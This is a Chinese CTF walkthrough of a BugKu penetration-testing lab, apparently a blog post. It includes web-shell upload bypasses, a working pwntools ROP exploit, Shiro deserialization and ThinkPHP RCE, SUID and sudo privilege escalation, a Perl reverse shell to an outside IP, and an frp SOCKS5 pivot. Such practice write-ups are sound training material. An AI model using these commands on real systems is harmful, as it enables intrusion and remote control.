bugkctf 渗透测试1超详细版

bugkctf 渗透测试1

下发环境进行访问

场景1

通过查看网页源代码成功找到1个flag

得到flag和提示

html 复制代码
<!--flag{950d83a16ad47127859d414009432171} PS:下个flag网站管理员才能看到哦-->

场景2

根据提示需要管理员权限,进行登录,直接登录需要邮箱和邮箱验证码,换个思路进网站的后台看看,对敏感目录进行扫描

访问admin进行尝试,会跳转到管理登录页面,进行弱口令爆破试试

成功登录,账号密码为admin/admin,进入后成功找到第二个flag以及第三个flag的提示。

场景3

发现上传配置,对上传配置进行修改,添加PHP为上传后缀

进行上传发现回显为上传文件后缀不能为空,应该是服务器检测到上传的文件后缀是php,对其进行了删除后缀,进行双写后缀试试

上传shell.pphphp,成功上传,掏出我们的蚁剑进行连接,

成功连接后在/home/ctf/flag成功找到flag

场景4

根据提示找到数据库配置文件,成功拿到数据库连接密码

这个时候需要连接数据库,因为蚁剑是非实时工具,连接数据库的时候有点困难,这个时候换成哥斯拉,重新上马连接,连接数据库

成功连接到数据库

拿到flag和提示。

场景5

在题目上发现提示

将main下载下来check一下是一个32位程序,

拖进IDA中进行分析,发现栈溢出,vul函数中没有找到相关的后门函数,需要构造ROP,

确定脚本思路,使用nmap扫描,看一下开放端口

bash 复制代码
┌──(root㉿kali-linux-2024-2)-[~]
└─# nmap 139.196.226.142   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-22 12:48 CST
Nmap scan report for 139.196.226.142
Host is up (0.033s latency).
Not shown: 991 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
4444/tcp filtered krb524
8080/tcp open     http-proxy
9999/tcp open     abyss

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

成功得到端口是9999,编写利用脚本

bash 复制代码
from pwn import *
from LibcSearcher import LibcSearcher
r = remote('139.196.226.142', 9999) #需要替换成自己的IP
elf = ELF('./main')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
#构造第一次溢出
payload = b'a' * (0x28)  # 填充 0x28 字节,造成栈溢出
payload += p32(write_plt)  # 调用 write 函数
payload += p32(main_addr)  # 返回到 main 函数,重新利用输入点
payload += p32(1)  # write 函数的第一个参数:stdout
payload += p32(write_got)  # write 函数的第二个参数:write 的got地址
payload += p32(4)  # write 函数的第三个参数:写入 4 字节
r.sendlineafter(b'plz input your name:\n', payload)

# 接收got地址
write_addr = u32(r.recv(4))
log.info(f"write 的地址: {hex(write_addr)}")

# 查找 libc 版本
libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump('str_bin_sh')
log.info(f"system 的地址: {hex(system_addr)}")
log.info(f"/bin/sh 的地址: {hex(bin_sh_addr)}")
# 构造第二次溢出的 payload,调用 system("/bin/sh")
payload = b'a' * (0x28)  # 填充 0x28 字节,造成栈溢出
payload += p32(system_addr)  # 调用 system 函数
payload += p32(main_addr)  # 返回到 main 函数,防止程序崩溃
payload += p32(bin_sh_addr)  # system 函数的参数:/bin/sh

# 发送 payload
r.sendline(payload)

# 进入交互模式,获取 shell
r.interactive()

编写后开始运行

场景6、场景7

根据上个场景的提示要注意8080,之前nmap也扫描出来了8080端口,进行访问

又是一个登录界面,同时指纹探测出来是java的,抓包看看那个框架

老规矩,使用弱口令试试,开启burp进行抓包,发现关键字段,

Set-Cookie: rememberMe=deleteMe; 是与 Shiro 框架 相关的 Cookie 设置。确定框架为Shiro,直接掏出我们的shiro反序列化漏洞综合利用工具

成功利用框架漏洞,可以正常使用功能区了

cat命令读取root下的flag发现权限不够,只能读取到home/flag的,提交发现是场景7的flag,猜测网站中应该还有flag,通过find / -type f -exec grep -l "flag" {} \; 2>/dev/null命令进行查找

bash 复制代码
find / -type f -exec grep -l "flag" {} \; 2>/dev/null

命令解释:

  • find /:从根目录 / 开始递归查找。
  • -type f:只查找文件(不包括目录)。
  • -exec grep -l "flag" {} \;:对每个文件执行 grep 命令,查找文件内容中是否包含 flag
    • -l:只输出包含匹配内容的文件名。
  • 2>/dev/null:忽略错误信息(如权限不足的提示)。

找到的文件过多,一个一个查找过多,

换个思路,扫描一下网站,看看是否存在未发现的细节

经过扫描目录发现/robots.txt,进行访问,果然发现之前出现了遗漏

这个才是场景六的flag,

场景8

在场景7中已经成功利用框架漏洞,对其进行内存马注入,成功注入

掏出我们的哥斯拉对其进行连接,这里要注意将有效载荷(即文件类型)换成java

进入命令执行页面,在场景7中的root/flag显示过是权限不足,这里就需要进行提权了。试试suid提权------当一个文件设置了 SUID 权限时,用户在执行该文件时会以文件所有者的权限运行,而不是以当前用户的权限运行。

bash 复制代码
find / -perm -4000 -type f 2>/dev/null 

回显出现find,利用find命令提权

bash 复制代码
find flag -exec whoami \;
  • find flag:在当前目录下查找名为 flag 的文件或目录。
  • -exec whoami \;:对每个找到的文件或目录执行 whoami 命令。
  • whoami:显示当前用户的用户名。
  • \;:表示 -exec 命令的结束。
bash 复制代码
find flag -exec cat /root/flag \;

成功读取到flag,并且还有提示Internal network------内网。

场景9

通过上一个场景写入的内存马进行连接,上传fscan,同时通过反弹shell来建立一个真正的实时终端。

在服务器上开启监听

bash 复制代码
nc -lvp 5656

端口可以自定义修改,只需要同时修改自己的IP和端口即可

在靶机终端创建反弹shell

bash 复制代码
perl -e 'use Socket;$i="117.72.37.106";$p=5656;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

成功弹回

这个时候还不是实时连接,使用script 命令来换成实时终端

bash 复制代码
script 命令用于记录终端会话的所有输入和输出

实时终端创建完成,开始进行内网穿透,

查看IP

bash 复制代码
ip -a

得出本机IP是192.168.0.3,上传fscan进行扫描

bash 复制代码
 ./fscan -h 192.168.0.3/24 -nobr -o res.txt
  • -h 192.168.0.3/24: 指定扫描的目标网络。192.168.0.3/24 表示扫描 192.168.0.0192.168.0.255 范围内的所有 IP 地址。
  • -o res.txt: 指定输出文件为 res.txt,扫描结果将保存到这个文件中。

扫描完成后对res.txt进行查看,扫描出四个地址

bash 复制代码
192.168.0.4:3306 open
192.168.0.2:80 open
192.168.0.1:80 open
192.168.0.4:80 open
192.168.0.1:22 open
192.168.0.3:8080 open
192.168.0.1:8080 open
192.168.0.2:9999 open
192.168.0.1:9999 open
[*] WebTitle: http://192.168.0.3:8080   code:302 len:0      title:None 跳转url: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC
[*] WebTitle: http://192.168.0.1:8080   code:302 len:0      title:None 跳转url: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2
[*] WebTitle: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2 code:200 len:2608   title:Login Page
[*] WebTitle: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC code:200 len:2608   title:Login Page
[*] WebTitle: http://192.168.0.1        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.2        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.4        code:200 len:8351   title:博客首页
[+] http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1
[+] http://192.168.0.1:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]

通过ftp搭建Socks5代理,在服务端对frps配置文件进行修改

bash 复制代码
bindPort = 7000

加权,运行

bash 复制代码
chmod +x frps
./frps -c frps.toml

上传frp客户端到靶机地址,并对frp客户端的配置文件进行修改

plain 复制代码
[common]
server_addr = 117.72.37.106
server_port = 7000

[socks5]
type = tcp
local_ip = 127.0.0.1
local_port = 1080
remote_port = 10800
plugin = socks5

加权,运行

bash 复制代码
chmod +x frpc
./frpc -c frpc.toml

成功搭建,更改真机代理和浏览器代理,进行访问

访问192.168.0.4地址,发现是thinkphp 5023 rce,直接使用payload打

成功注入木马,蚁剑连接(连接过程需要配置代理)

在网站根目录发现flag,成功提交还有提示数据库。

场景10

既然提示数据库了,先看看数据库的配置文件,确定一下数据库的账户密码,文件为/var/www/html/application/database.php

sql 复制代码
<?phpa1
return [
    // 数据库类型
    'type'            => 'mysql',
    // 服务器地址
    'hostname'        => '127.0.0.1',
    // 数据库名
    'database'        => 'aman',
    // 用户名
    'username'        => 'aman',
    // 密码
    'password'        => 'aman123',

成功拿到数据库账号密码,蚁剑连接数据库有点困难,这个时候在此上传一个哥斯拉的木马,然后进行连接(连接过程同样需要配置代理),连接后进行数据库操作

成功连接数据库读取到flag

场景11

从上一个场景的提示以及题目本身的提示,可以确定需要进行提权了

使用检测脚本确认一下要利用的漏洞

bash 复制代码
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

同时查看一下各项的版本

bash 复制代码
#!/bin/bash
echo "=== 系统漏洞检测脚本 ==="
echo "检查内核版本"
uname -r
echo "检查 polkit 版本"
pkexec --version
echo "检查 OpenSSH 版本"
ssh -V 2>&1 | grep -i "OpenSSH"
echo "检查 OpenSSL 版本"
openssl version
echo "检查 Apache 版本"
apache2 -v 2>/dev/null || httpd -v 2>/dev/null
echo "检查 Nginx 版本"
nginx -v 2>&1
echo "检查 MySQL 版本"
mysql --version
echo "检查 PostgreSQL 版本"
psql --version
echo "检查 Docker 版本"
docker --version
echo "检查sudo版本"
sudo -V
echo "=== 检测完成 ==="

发现pkexec version 0.105,可以使用CVE-2021-4034来进行提权,Sudo version 1.8.31,可以使用CVE-2021-3156来提权,这里使用CVE-2021-3156来进行提权,从github上下载提权脚本,进行上传,上传完成后,加权,make一下,

通过命令././exploit 'cat /root/flag'成功读取到root账户下的flag,完成通关。

相关推荐
ruleslol1 天前
MySQL的段、区、页、行 详解
数据库·mysql
while(1){yan}1 天前
MyBatis Generator
数据库·spring boot·java-ee·mybatis
扑火的小飞蛾1 天前
网络安全小白学习路线图 (基于提供文档库)
学习·安全·web安全
それども1 天前
MySQL affectedRows 计算逻辑
数据库·mysql
是小章啊1 天前
MySQL 之SQL 执行规则及索引详解
数据库·sql·mysql
计算机程序设计小李同学1 天前
个人数据管理系统
java·vue.js·spring boot·后端·web安全
富士康质检员张全蛋1 天前
JDBC 连接池
数据库
yangminlei1 天前
集成Camunda到Spring Boot项目
数据库·oracle
ChineHe1 天前
Redis数据类型篇002_详解Strings核心命令与存储结构
数据库·redis·缓存
清水白石0081 天前
《从零到进阶:Pydantic v1 与 v2 的核心差异与零成本校验实现原理》
数据库·python